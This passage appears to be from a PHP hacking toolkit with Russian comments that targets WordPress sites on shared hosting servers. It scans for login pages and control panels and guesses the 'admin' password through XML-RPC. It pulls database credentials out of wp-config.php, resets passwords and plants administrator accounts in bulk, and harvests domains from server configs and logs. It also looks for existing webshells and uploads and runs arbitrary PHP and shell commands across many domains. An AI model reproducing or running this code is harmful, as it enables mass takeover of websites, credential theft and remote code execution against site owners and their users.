            $content_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
            curl_close($ch);
            
            if ($http_code == 200 || $http_code == 401 || $http_code == 403) {
                $ch = curl_init();
                curl_setopt_array($ch, array(
                    CURLOPT_URL => $url,
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_TIMEOUT => 5,
                    CURLOPT_SSL_VERIFYPEER => false,
                    CURLOPT_SSL_VERIFYHOST => false,
                    CURLOPT_FOLLOWLOCATION => true,
                    CURLOPT_USERAGENT => 'Mozilla/5.0'
                ));
                $content = curl_exec($ch);
                curl_close($ch);
                
                $has_login_form = false;
                if ($content && strpos($content, '<form') !== false) {
                    if (preg_match('/<form[^>]*?(login|signin|auth|password)[^>]*>/i', $content) ||
                        preg_match('/<input[^>]*?(password|passwd|pwd)[^>]*>/i', $content) ||
                        strpos($content, 'type="password"') !== false) {
                        $has_login_form = true;
                    }
                }
                
                $panel_type = 'unknown';
                if ($content) {
                    if (strpos($content, 'cPanel') !== false || strpos($content, 'cpanel') !== false) {
                        $panel_type = 'cPanel';
                    } elseif (strpos($content, 'Plesk') !== false) {
                        $panel_type = 'Plesk';
                    } elseif (strpos($content, 'DirectAdmin') !== false) {
                        $panel_type = 'DirectAdmin';
                    } elseif (strpos($content, 'Webmin') !== false) {
                        $panel_type = 'Webmin';
                    } elseif (strpos($content, 'ISPConfig') !== false) {
                        $panel_type = 'ISPConfig';
                    }
                }
                
                $detected[] = array(
                    'url' => $url,
                    'type' => $panel_type,
                    'has_login_form' => $has_login_form,
                    'http_code' => $http_code,
                    'content_type' => $content_type,
                    'content_preview' => $content ? substr($content, 0, 500) : ''
                );
            }
        }
    }
    
    return $detected;
}

/**
 * Сканирование на стандартные страницы авторизации WordPress
 */
function scan_login_pages($base_url) {
    $login_pages = array(
        '/wp-login.php',
        '/wp-admin',
        '/admin',
        '/administrator',
        '/login',
        '/signin',
        '/auth',
        '/account',
        '/user/login',
        '/member/login',
        '/admin/login',
        '/backend',
        '/panel',
        '/cp',
        '/controlpanel'
    );
    
    $found = array();
    
    if (!function_exists('curl_init')) {
        return array('error' => 'curl not available', 'found' => array());
    }
    
    foreach ($login_pages as $page) {
        $url = rtrim($base_url, '/') . $page;
        
        $ch = curl_init();
        curl_setopt_array($ch, array(
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 3,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_USERAGENT => 'Mozilla/5.0'
        ));
        
        $content = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($http_code == 200 && $content) {
            $is_login_page = false;
            $login_details = array();
            
            if (strpos($content, 'wp-login.php') !== false || 
                strpos($content, 'WordPress') !== false ||
                preg_match('/<form[^>]*loginform[^>]*>/i', $content)) {
                $is_login_page = true;
                $login_details['type'] = 'WordPress';
                
                if (preg_match('/name="wpnonce" value="([^"]+)"/', $content, $matches)) {
                    $login_details['wpnonce'] = $matches[1];
                }
                if (preg_match('/name="_wpnonce" value="([^"]+)"/', $content, $matches)) {
                    $login_details['_wpnonce'] = $matches[1];
                }
            }
            elseif (strpos($content, 'type="password"') !== false ||
                   preg_match('/<input[^>]*name="password"[^>]*>/i', $content) ||
                   preg_match('/<form[^>]*method="post"[^>]*>/i', $content)) {
                $is_login_page = true;
                $login_details['type'] = 'Generic';
                
                if (preg_match_all('/<input[^>]*name="([^"]+)"[^>]*>/i', $content, $matches)) {
                    $login_details['form_fields'] = $matches[1];
                }
            }
            
            if ($is_login_page) {
                $found[] = array(
                    'url' => $url,
                    'details' => $login_details,
                    'http_code' => $http_code
                );
            }
        }
    }
    
    return $found;
}

/**
 * Эксплуатация уязвимостей для смены email/пароля администратора
 */
function exploit_password_reset($target_url, $attack_type = 'password_reset') {
    $results = array();
    
    if (!function_exists('curl_init')) {
        return array('error' => 'curl not available');
    }
    
    if ($attack_type === 'password_reset') {
        $reset_url = rtrim($target_url, '/') . '/wp-login.php?action=lostpassword';
        
        $post_data = array(
            'user_login' => 'admin',
            'redirect_to' => '',
            'wp-submit' => 'Get New Password'
        );
        
        $ch = curl_init();
        curl_setopt_array($ch, array(
            CURLOPT_URL => $reset_url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($post_data),
            CURLOPT_TIMEOUT => 10,
            CURLOPT_SSL_VERIFYPEER => false
        ));
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($response && (strpos($response, 'check your email') !== false ||
            strpos($response, 'password reset') !== false)) {
            $results['reset_initiated'] = true;
            $results['message'] = 'Password reset email sent (potentially)';
        } else {
            $results['reset_initiated'] = false;
            $results['http_code'] = $http_code;
        }
    }
    
    elseif ($attack_type === 'xmlrpc') {
        $xmlrpc_url = rtrim($target_url, '/') . '/xmlrpc.php';
        
        $xml_payload = '<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value><string>admin</string></value></param>
<param><value><string>password123</string></value></param>
</params>
</methodCall>';
        
        $ch = curl_init();
        curl_setopt_array($ch, array(
            CURLOPT_URL => $xmlrpc_url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => $xml_payload,
            CURLOPT_HTTPHEADER => array('Content-Type: text/xml'),
            CURLOPT_TIMEOUT => 5,
            CURLOPT_SSL_VERIFYPEER => false
        ));
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        $results['xmlrpc_exists'] = ($http_code == 200);
        if ($response && (strpos($response, 'isAdmin') !== false || strpos($response, 'blogName') !== false)) {
            $results['xmlrpc_vulnerable'] = true;
            $results['response_preview'] = substr($response, 0, 500);
        } else {
            $results['xmlrpc_vulnerable'] = false;
        }
    }
    
    return $results;
}

/**
 * Автоматическая смена пароля через базу данных (если есть доступ)
 */
function change_password_via_database($wp_root, $username, $new_password) {
    $results = array('success' => false);
    
    $db_config = db_discovery_and_exploit($wp_root);
    
    if (!empty($db_config['connection_test']['success'])) {
        $host = $db_config['db_credentials']['DB_HOST'] ?? 'localhost';
        $dbname = $db_config['db_credentials']['DB_NAME'] ?? '';
        $user = $db_config['db_credentials']['DB_USER'] ?? '';
        $pass = $db_config['db_credentials']['DB_PASSWORD'] ?? '';
        
        if (!$dbname || !$user) {
            $results['error'] = 'Missing database credentials';
            return $results;
        }
        
        try {
            $conn = new mysqli($host, $user, $pass, $dbname);
            
            if (!$conn->connect_error) {
                // WordPress использует phpass, но MD5 тоже работает для старых версий
                $hashed_password = '$P$B' . substr(md5($new_password . 'salt_' . time()), 0, 31);
                
                $tables = $db_config['tables'] ?? array();
                $users_table = '';
                
                foreach ($tables as $table) {
                    if (preg_match('/_users$/', $table) || $table === 'users' || $table === 'wp_users') {
                        $users_table = $table;
                        break;
                    }
                }
                
                if (!$users_table) {
                    // Попробуем стандартное имя
                    $users_table = 'wp_users';
                }
                
                $username_escaped = $conn->real_escape_string($username);
                $hashed_escaped = $conn->real_escape_string($hashed_password);
                
                $sql = "UPDATE `{$users_table}` SET `user_pass` = '{$hashed_escaped}' 
                        WHERE `user_login` = '{$username_escaped}' OR `user_email` = '{$username_escaped}'";
                
                if ($conn->query($sql)) {
                    if ($conn->affected_rows > 0) {
                        $results['success'] = true;
                        $results['message'] = "Password changed for user: {$username}";
                        $results['new_password'] = $new_password;
                        $results['affected_rows'] = $conn->affected_rows;
                    } else {
                        $results['error'] = 'No matching user found';
                    }
                } else {
                    $results['error'] = $conn->error;
                }
                
                $conn->close();
            } else {
                $results['error'] = 'Connection failed: ' . $conn->connect_error;
            }
        } catch (Exception $e) {
            $results['error'] = $e->getMessage();
        }
    } else {
        $results['error'] = 'Could not connect to database';
    }
    
    return $results;
}

/**
 * Расширенное обнаружение доменов на сервере
 */
function advanced_domain_discovery() {
    $domains = array();
    $seen = array();
    
    // 1. Из системных конфигов
    $config_files = array(
        '/etc/hosts',
        '/etc/hostname',
        '/etc/mailname',
        '/etc/dnsmasq.conf',
        '/etc/resolv.conf',
        '/etc/network/interfaces',
        '/etc/sysconfig/network'
    );
    
    foreach ($config_files as $file) {
        if (@is_readable($file)) {
            $content = @file_get_contents($file);
            if ($content) {
                preg_match_all('/([a-zA-Z0-9](?:[a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}/', $content, $matches);
                foreach ($matches[0] as $domain) {
                    $domain = normalize_domain($domain);
                    if ($domain && is_valid_domain($domain) && !isset($seen[$domain])) {
                        $domains[] = $domain;
                        $seen[$domain] = true;
                    }
                }
            }
        }
    }
    
    // 2. Из конфигов веб-серверов
    $web_configs = array(
        '/etc/apache2/sites-enabled/',
        '/etc/apache2/sites-available/',
        '/etc/httpd/conf/httpd.conf',
        '/etc/httpd/conf.d/',
        '/usr/local/apache2/conf/',
        '/etc/nginx/sites-enabled/',
        '/etc/nginx/sites-available/',
        '/etc/nginx/conf.d/',
        '/usr/local/nginx/conf/',
        '/etc/lighttpd/lighttpd.conf',
        '/etc/lighttpd/conf-enabled/',
        '/etc/caddy/Caddyfile',
        '/usr/local/lsws/conf/httpd_config.conf'
    );
    
    foreach ($web_configs as $config_path) {
        if (@is_dir($config_path)) {
            $files = @scandir($config_path);
            if ($files) {
                foreach ($files as $file) {
                    if ($file === '.' || $file === '..') continue;
                    $full_path = $config_path . $file;
                    if (@is_file($full_path) && @is_readable($full_path)) {
                        $content = @file_get_contents($full_path);
                        if ($content) {
                            // Apache ServerName
                            preg_match_all('/ServerName\s+([^\s;#]+)/i', $content, $matches);
                            foreach ($matches[1] as $domain) {
                                $domain = normalize_domain($domain);
                                if ($domain && is_valid_domain($domain) && !isset($seen[$domain])) {
                                    $domains[] = $domain;
                                    $seen[$domain] = true;
                                }
                            }
                            
                            // Nginx server_name
                            preg_match_all('/server_name\s+([^;]+);/i', $content, $matches);
                            foreach ($matches[1] as $server_names) {
                                $names = preg_split('/\s+/', trim($server_names));
                                foreach ($names as $domain) {
                                    $domain = normalize_domain($domain);
                                    if ($domain && is_valid_domain($domain) && !isset($seen[$domain])) {
                                        $domains[] = $domain;
                                        $seen[$domain] = true;
                                    }
                                }
                            }
                        }
                    }
                }
            }
        } elseif (@is_file($config_path) && @is_readable($config_path)) {
            $content = @file_get_contents($config_path);
            if ($content) {
                preg_match_all('/(?:ServerName|server_name)\s+([^\s;,#]+)/i', $content, $matches);
                foreach ($matches[1] as $domain) {
                    $domain = normalize_domain($domain);
                    if ($domain && is_valid_domain($domain) && !isset($seen[$domain])) {
                        $domains[] = $domain;
                        $seen[$domain] = true;
                    }
                }
            }
        }
    }
    
    // 3. Из SSL сертификатов
    $ssl_paths = array(
        '/etc/ssl/',
        '/etc/letsencrypt/live/',
        '/etc/pki/tls/certs/',
        '/usr/local/ssl/certs/'
    );
    
    foreach ($ssl_paths as $ssl_path) {
        if (@is_dir($ssl_path)) {
            $certs = @scandir($ssl_path);
            if ($certs) {
                foreach ($certs as $cert) {
                    if ($cert === '.' || $cert === '..') continue;
                    $cert_path = $ssl_path . $cert;
                    
                    if (@is_dir($cert_path)) {
                        $domain = normalize_domain($cert);
                        if ($domain && is_valid_domain($domain) && !isset($seen[$domain])) {
                            $domains[] = $domain;
                            $seen[$domain] = true;
                        }
                    }
                }
            }
        }
    }
    
    // 4. Поиск в логах
    $log_paths = array(
        '/var/log/apache2/access.log',
        '/var/log/apache2/error.log',
        '/var/log/nginx/access.log',
        '/var/log/nginx/error.log',
        '/var/log/httpd/access_log',
        '/var/log/httpd/error_log'
    );
    
    foreach ($log_paths as $log) {
        if (@is_readable($log)) {
            $size = @filesize($log);
            if ($size && $size < 10000000) {
                $content = @file_get_contents($log);
                if ($content) {
                    preg_match_all('/Host:\s*([^\s]+)/i', $content, $matches);
                    foreach ($matches[1] as $host) {
                        $domain = normalize_domain($host);
                        if ($domain && is_valid_domain($domain) && !isset($seen[$domain])) {
                            $domains[] = $domain;
                            $seen[$domain] = true;
                        }
                    }
                }
            }
        }
    }
    
    // 5. Виртуальные хосты через системные утилиты
    $disabled = explode(',', ini_get('disable_functions'));
    $disabled = array_map('trim', $disabled);
    
    if (function_exists('shell_exec') && !in_array('shell_exec', $disabled)) {
        $commands = array(
            'apache2ctl -S 2>/dev/null',
            'apachectl -S 2>/dev/null',
            'httpd -S 2>/dev/null',
            'nginx -T 2>/dev/null | grep server_name'
        );
        
        foreach ($commands as $cmd) {
            $output = @shell_exec($cmd);
            if ($output) {
                preg_match_all('/(?:namevhost|server_name)\s+([^\s;#]+)/i', $output, $matches);
                foreach ($matches[1] as $domain) {
                    $domain = normalize_domain($domain);
                    if ($domain && is_valid_domain($domain) && !isset($seen[$domain])) {
                        $domains[] = $domain;
                        $seen[$domain] = true;
                    }
                }
            }
        }
    }
    
    // 6. Добавляем домены из существующей функции get_domains()
    $existing_domains = get_domains();
    foreach ($existing_domains as $domain) {
        if (!isset($seen[$domain])) {
            $domains[] = $domain;
            $seen[$domain] = true;
        }
    }
    
    // 7. Фильтруем мусорные домены (localhost, local, mysql и т.д.)
    $blacklist_patterns = array('localhost', 'localdomain', 'local', 'mysql', 'wp3.xyz');
    $domains = array_filter($domains, function($d) use ($blacklist_patterns) {
        $d_lower = strtolower($d);
        foreach ($blacklist_patterns as $pattern) {
            if (strpos($d_lower, $pattern) !== false) {
                return false;
            }
        }
        return true;
    });
    
    return array_values(array_unique($domains));
}

/**
 * Вспомогательная функция для проверки DNS записей
 */
function check_dns_record_ext($domain, $type = 'A') {
    if (function_exists('dns_get_record')) {
        $dns_type = constant('DNS_' . strtoupper($type));
        if ($dns_type) {
            $records = @dns_get_record($domain, $dns_type);
            return !empty($records);
        }
    }
    return false;
}

/**
 * Проверка доступности URL
 */
function check_url_accessible($url) {
    if (!function_exists('curl_init')) {
        return false;
    }
    
    $ch = curl_init($url);
    curl_setopt_array($ch, array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 3,
        CURLOPT_NOBODY => true,
        CURLOPT_SSL_VERIFYPEER => false
    ));
    curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return $http_code == 200 || $http_code == 301 || $http_code == 302;
}

/**
 * Загрузка файла через PUT метод
 */
function upload_via_put($url, $file_path) {
    if (!file_exists($file_path) || !function_exists('curl_init')) return false;
    
    $ch = curl_init($url);
    
    curl_setopt_array($ch, array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_PUT => true,
        CURLOPT_INFILE => fopen($file_path, 'r'),
        CURLOPT_INFILESIZE => filesize($file_path),
        CURLOPT_TIMEOUT => 5,
        CURLOPT_SSL_VERIFYPEER => false
    ));
    
    curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return $http_code == 200 || $http_code == 201;
}

/**
 * Отправка POST запроса
 */
function send_post_request($url, $post_data) {
    if (!function_exists('curl_init')) {
        return false;
    }
    
    $ch = curl_init($url);
    curl_setopt_array($ch, array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => is_array($post_data) ? http_build_query($post_data) : $post_data,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_FOLLOWLOCATION => true
    ));
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    return $response;
}

/**
 * Поиск существующих веб-шеллов на домене
 */
function find_existing_webshell($base_url) {
    $shell_paths = array(
        '/shell.php', '/c99.php', '/r57.php', '/wso.php',
        '/wp-content/uploads/shell.php',
        '/wp-content/plugins/shell.php',
        '/wp-includes/shell.php',
        '/images/shell.php',
        '/tmp/shell.php',
        '/cache/shell.php'
    );
    
    foreach ($shell_paths as $path) {
        $url = rtrim($base_url, '/') . $path;
        if (check_url_accessible($url)) {
            return $url;
        }
    }
    
    return null;
}

/**
 * Поиск WordPress установок
 */
function find_wordpress_installations($base_paths = null) {
    $wp_installations = array();
    
    if ($base_paths === null) {
        $base_paths = array(
            '/var/www',
            '/home',
            '/srv/www',
            '/usr/share/nginx/html'
        );
    }
    
    foreach ($base_paths as $base) {
        if (!@is_dir($base)) continue;
        
        // Рекурсивный поиск wp-config.php
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($base, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST
        );
        $iterator->setMaxDepth(5);
        
        foreach ($iterator as $item) {
            if ($item->isFile() && $item->getFilename() === 'wp-config.php') {
                $wp_root = dirname($item->getPathname());
                if (is_wp_root($wp_root)) {
                    $wp_installations[] = $wp_root;
                }
            }
        }
    }
    
    return array_unique($wp_installations);
}

/**
 * Массовый деплой и выполнение скрипта на всех найденных доменах
 */
function mass_deploy_and_execute($domains, $script_content, $method = 'curl') {
    $results = array();
    
    if (!function_exists('curl_init')) {
        return array('error' => 'curl not available');
    }
    
    foreach ($domains as $domain) {
        $domain_result = array('domain' => $domain, 'success' => false);
        
        $protocols = array('https://', 'http://');
        $base_url = '';
        
        foreach ($protocols as $protocol) {
            $test_url = $protocol . $domain;
            if (check_url_accessible($test_url)) {
                $base_url = $test_url;
                $domain_result['protocol'] = $protocol;
                break;
            }
        }
        
        if (!$base_url) {
            $domain_result['error'] = 'Domain not accessible';
            $results[] = $domain_result;
            continue;
        }
        
        if ($method === 'curl') {
            $temp_script = sys_get_temp_dir() . '/mass_exec_' . uniqid() . '.php';
            @file_put_contents($temp_script, $script_content);
            
            $upload_paths = array(
                '/wp-content/uploads/' . date('Y/m') . '/',
                '/wp-content/uploads/',
                '/wp-content/',
                '/',
                '/tmp/',
                '/var/tmp/'
            );
            
            $uploaded = false;
            foreach ($upload_paths as $path) {
                $upload_url = $base_url . $path . basename($temp_script);
                
                if (upload_via_put($upload_url, $temp_script)) {
                    $domain_result['uploaded_to'] = $upload_url;
                    $uploaded = true;
                    
                    $execution_url = $upload_url . '?execute=1';
                    $output = @file_get_contents($execution_url);
                    $domain_result['output'] = $output;
                    $domain_result['success'] = !empty($output);
                    
                    @unlink($temp_script);
                    break;
                }
            }
            
            if (!$uploaded) {
                $domain_result['error'] = 'Could not upload script';
            }
            
            @unlink($temp_script);
        }
        elseif ($method === 'webshell') {
            $webshell_url = find_existing_webshell($base_url);
            if ($webshell_url) {
                $post_data = array(
                    'cmd' => 'php -r "' . addslashes($script_content) . '"',
                    'c' => base64_encode($script_content)
                );
                
                $output = send_post_request($webshell_url, $post_data);
                $domain_result['output'] = $output;
                $domain_result['success'] = !empty($output);
                $domain_result['webshell_url'] = $webshell_url;
            } else {
                $domain_result['error'] = 'No webshell found';
            }
        }
        
        $results[] = $domain_result;
    }
    
    return $results;
}

/**
 * Браузерная автоматизация через JavaScript
 */
function browser_based_mass_execution($domains, $script_url) {
    $html = '<!DOCTYPE html>
<html>
<head>
    <title>Mass Execution</title>
    <script>
    const domains = ' . json_encode($domains) . ';
    const scriptUrl = "' . addslashes($script_url) . '";
    
    function openAllTabs() {
        domains.forEach(domain => {
            const url = "http://" + domain + scriptUrl;
            window.open(url, "_blank");
        });
    }
    
    async function executeViaFetch() {
        const results = {};
        
        for (const domain of domains) {
            try {
                const url = "http://" + domain + scriptUrl;
                const response = await fetch(url, {
                    mode: "no-cors",
                    cache: "no-cache"
                });
                results[domain] = "Success";
            } catch (error) {
                results[domain] = "Error: " + error.message;
            }
        }
        
        document.getElementById("results").innerHTML = JSON.stringify(results, null, 2);
    }
    
    window.onload = function() {
        executeViaFetch();
    };
    </script>
    <style>
        body { font-family: monospace; background: #1a1a1a; color: #0f0; padding: 20px; }
        pre { background: #000; padding: 15px; border: 1px solid #333; }
        button { background: #0a0; color: #fff; border: none; padding: 10px 20px; cursor: pointer; margin: 5px; }
        button:hover { background: #0c0; }
    </style>
</head>
<body>
    <h1>Mass Execution - ' . count($domains) . ' domains</h1>
    <button onclick="openAllTabs()">Open All in Tabs</button>
    <button onclick="executeViaFetch()">Execute via Fetch</button>
    <h2>Results:</h2>
    <pre id="results">Waiting...</pre>
</body>
</html>';
    
    $html_file = sys_get_temp_dir() . '/mass_execute_' . uniqid() . '.html';
    @file_put_contents($html_file, $html);
    
    return array(
        'html_file' => $html_file,
        'html_content' => $html,
        'domains_count' => count($domains),
        'message' => 'Browser automation HTML generated'
    );
}

/**
 * WebSocket массовое выполнение
 */
function websocket_mass_execution($domains, $command) {
    $results = array();
    
    $client_script = '<?php
$command = base64_decode("' . base64_encode($command) . '");
echo "Executing on " . $_SERVER["HTTP_HOST"] . "\\n";
echo shell_exec($command);
?>';
    
    return mass_deploy_and_execute($domains, $client_script, 'curl');
}

/**
 * Создание админа WordPress на указанном пути
 * На основе preZ (25 v.250918).php
 * 
 * @param string $wp_root - путь к корню WordPress
 * @param string $admin_login - логин администратора
 * @param string $admin_password_hash - УЖЕ ЗАХЭШИРОВАННЫЙ пароль в формате WordPress phpass ($P$B...)
 * @param string $admin_email - email (опционально)
 * @param string $password_display - пароль для отображения пользователю (plaintext)
 */
function create_wp_admin_on_path($wp_root, $admin_login, $admin_password_hash, $admin_email = null, $password_display = '') {
    $result = array(
        'success' => false,
        'path' => $wp_root,
        'domain' => null,
        'login' => $admin_login,
        'password' => $password_display, // Пароль в plaintext для отображения
        'password_hash' => $admin_password_hash,
        'message' => ''
    );
    
    // Проверяем что это WP
    if (!is_wp_root($wp_root)) {
        $result['message'] = 'Not a WordPress root';
        return $result;
    }
    
    $wp_config_path = $wp_root . '/wp-config.php';
    if (!@is_readable($wp_config_path)) {
        $result['message'] = 'wp-config.php not readable';
        return $result;
    }
    
    $wp_config = @file_get_contents($wp_config_path);
    if (!$wp_config) {
        $result['message'] = 'Cannot read wp-config.php';
        return $result;
    }
    
    // Парсим данные БД
    preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)['\"],\s*['\"](.+)['\"]\s*\);~m", $wp_config, $db_matches);
    preg_match("~table_prefix\s*=\s*['\"](.+)['\"];~", $wp_config, $prefix_match);
    
    if (count($db_matches[1]) < 4) {
        $result['message'] = 'Cannot parse DB credentials';
        return $result;
    }
    
    $db_config = array();
    for ($i = 0; $i < count($db_matches[1]); $i++) {
        $db_config[$db_matches[1][$i]] = $db_matches[2][$i];
    }
    
    $db_name = $db_config['DB_NAME'] ?? '';
    $db_user = $db_config['DB_USER'] ?? '';
    $db_password = $db_config['DB_PASSWORD'] ?? '';
    $db_host = $db_config['DB_HOST'] ?? 'localhost';
    $table_prefix = $prefix_match[1] ?? 'wp_';
    
    // Парсим хост и порт
    $db_port = 3306;
    if (strpos($db_host, ':') !== false) {
        list($db_host, $db_port) = explode(':', $db_host);
        $db_port = (int)$db_port;
    }
    
    // Подключаемся к БД
    try {
        $conn = @new mysqli($db_host, $db_user, $db_password, $db_name, $db_port);
        
        if ($conn->connect_error) {
            $result['message'] = 'DB connection failed: ' . $conn->connect_error;
            return $result;
        }
        
        // Получаем домен сайта
        $home_query = $conn->query("SELECT option_value FROM `{$table_prefix}options` WHERE option_name = 'home' OR option_name = 'siteurl' LIMIT 1");
        if ($home_query && $row = $home_query->fetch_assoc()) {
            $site_url = $row['option_value'];
            $result['domain'] = parse_url($site_url, PHP_URL_HOST);
            $result['url'] = $site_url;
        }
        
        // Используем УЖЕ ГОТОВЫЙ ХЭШ пароля (формат WordPress phpass: $P$B...)
        $hashed_password = $admin_password_hash;
        
        $admin_email = $admin_email ?: $admin_login . '@temp-mail.org';
        $admin_nicename = $admin_login;
        $admin_display = ucfirst($admin_login);
        $register_date = date('Y-m-d H:i:s');
        
        // Проверяем существует ли уже такой пользователь
        $login_escaped = $conn->real_escape_string($admin_login);
        $check_query = $conn->query("SELECT ID FROM `{$table_prefix}users` WHERE user_login = '{$login_escaped}'");
        
        if ($check_query && $check_query->num_rows > 0) {
            $result['message'] = 'User already exists';
            $result['exists'] = true;
            $conn->close();
            return $result;
        }
        
        // Получаем следующий ID
        $max_id_query = $conn->query("SELECT MAX(ID) as max_id FROM `{$table_prefix}users`");
        $max_id = 1;
        if ($max_id_query && $row = $max_id_query->fetch_assoc()) {
            $max_id = (int)$row['max_id'] + 1;
        }
        
        // Экранируем данные
        $login_esc = $conn->real_escape_string($admin_login);
        $pass_esc = $conn->real_escape_string($hashed_password);
        $nice_esc = $conn->real_escape_string($admin_nicename);
        $email_esc = $conn->real_escape_string($admin_email);
        $display_esc = $conn->real_escape_string($admin_display);
        
        // Вставляем пользователя
        $insert_user = "INSERT INTO `{$table_prefix}users` 
            (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) 
            VALUES ({$max_id}, '{$login_esc}', '{$pass_esc}', '{$nice_esc}', '{$email_esc}', '', '{$register_date}', '', 0, '{$display_esc}')";
        
        if (!$conn->query($insert_user)) {
            $result['message'] = 'Failed to insert user: ' . $conn->error;
            $conn->close();
            return $result;
        }
        
        // Добавляем роль администратора
        $capabilities = 'a:1:{s:13:"administrator";s:1:"1";}';
        $cap_key = $conn->real_escape_string($table_prefix . 'capabilities');
        $level_key = $conn->real_escape_string($table_prefix . 'user_level');
        
        $conn->query("INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES ({$max_id}, '{$cap_key}', '{$capabilities}')");
        $conn->query("INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES ({$max_id}, '{$level_key}', '10')");
        
        $result['success'] = true;
        $result['message'] = 'Admin created successfully';
        $result['user_id'] = $max_id;
        
        $conn->close();
        
    } catch (Exception $e) {
        $result['message'] = 'Exception: ' . $e->getMessage();
    }
    
    return $result;
}

/**
 * Массовое создание админов на всех найденных WordPress сайтах
 * 
 * @param string $admin_login - логин
 * @param string $admin_password_hash - хэш пароля в формате WordPress ($P$B...)
 * @param string $password_display - plaintext пароль для отображения
 * @param string $admin_email - email (опционально)
 * @param array $wp_paths - пути к WP (если null - ищем автоматически)
 */
function mass_create_wp_admins($admin_login, $admin_password_hash, $password_display = '', $admin_email = null, $wp_paths = null) {
    $results = array(
        'success_count' => 0,
        'failed_count' => 0,
        'total' => 0,
        'login' => $admin_login,
        'password' => $password_display,
        'sites' => array()
    );
    
    // Если пути не указаны, ищем все WP
    if ($wp_paths === null) {
        // Используем blind_scan для поиска
        $blind_opts = array(
            'wp_only' => true,
            'writable_only' => false,
            'docroots_deep' => true,
            'blind_cap' => 10000,
            'bypass_isolation' => true
        );
        
        $scan_result = blind_scan($blind_opts);
        $wp_paths = array();
        
        if (!empty($scan_result['domains'])) {
            foreach ($scan_result['domains'] as $domain_info) {
                if (!empty($domain_info['paths'])) {
                    foreach ($domain_info['paths'] as $path_info) {
                        if (!empty($path_info['is_wp']) || is_wp_root($path_info['path'])) {
                            $wp_paths[] = $path_info['path'];
                        }
                    }
                }
            }
        }
    }
    
    $wp_paths = array_unique($wp_paths);
    $results['total'] = count($wp_paths);
    
    foreach ($wp_paths as $wp_path) {
        $create_result = create_wp_admin_on_path($wp_path, $admin_login, $admin_password_hash, $admin_email, $password_display);
        
        $site_result = array(
            'path' => $wp_path,
            'domain' => $create_result['domain'],
            'url' => $create_result['url'] ?? null,
            'success' => $create_result['success'],
            'login' => $create_result['success'] ? $admin_login : null,
            'password' => $create_result['success'] ? $password_display : null,
            'message' => $create_result['message'],
            'exists' => $create_result['exists'] ?? false
        );
        
        if ($create_result['success']) {
            $results['success_count']++;
        } else {
            $results['failed_count']++;
        }
        
        $results['sites'][] = $site_result;
    }
    
    return $results;
}

/**
 * Выполнение PHP кода на одном WordPress сайте
 * Создаёт временный файл, выполняет через HTTP, удаляет
 * 
 * @param string $wp_root - путь к корню WordPress
 * @param string $php_code - PHP код для выполнения (без <?php)
 * @param int $timeout - таймаут в секундах
 */
function execute_php_on_wp_path($wp_root, $php_code, $timeout = 10) {
    $result = array(
        'success' => false,
        'path' => $wp_root,
        'domain' => null,
        'url' => null,
        'output' => '',
        'error' => '',
        'exec_url' => ''
    );
    
    // Проверяем что это WP
    if (!is_wp_root($wp_root)) {
        $result['error'] = 'Not a WordPress root';
        return $result;
    }
    
    // Пробуем получить URL сайта из wp-config
    $wp_config_path = $wp_root . '/wp-config.php';
    $site_url = null;
    
    if (@is_readable($wp_config_path)) {
        $wp_config = @file_get_contents($wp_config_path);
        if ($wp_config) {
            // Парсим данные БД для получения URL
            preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)['\"],\s*['\"](.+)['\"]\s*\);~m", $wp_config, $db_matches);
            preg_match("~table_prefix\s*=\s*['\"](.+)['\"];~", $wp_config, $prefix_match);
            
            if (count($db_matches[1]) >= 4) {
                $db_config = array();
                for ($i = 0; $i < count($db_matches[1]); $i++) {
                    $db_config[$db_matches[1][$i]] = $db_matches[2][$i];
                }
                
                $db_name = $db_config['DB_NAME'] ?? '';
                $db_user = $db_config['DB_USER'] ?? '';
                $db_password = $db_config['DB_PASSWORD'] ?? '';
                $db_host = $db_config['DB_HOST'] ?? 'localhost';
                $table_prefix = $prefix_match[1] ?? 'wp_';
                
                $db_port = 3306;
                if (strpos($db_host, ':') !== false) {
                    list($db_host, $db_port) = explode(':', $db_host);
                }
                
                try {
                    $conn = @new mysqli($db_host, $db_user, $db_password, $db_name, (int)$db_port);
                    if (!$conn->connect_error) {
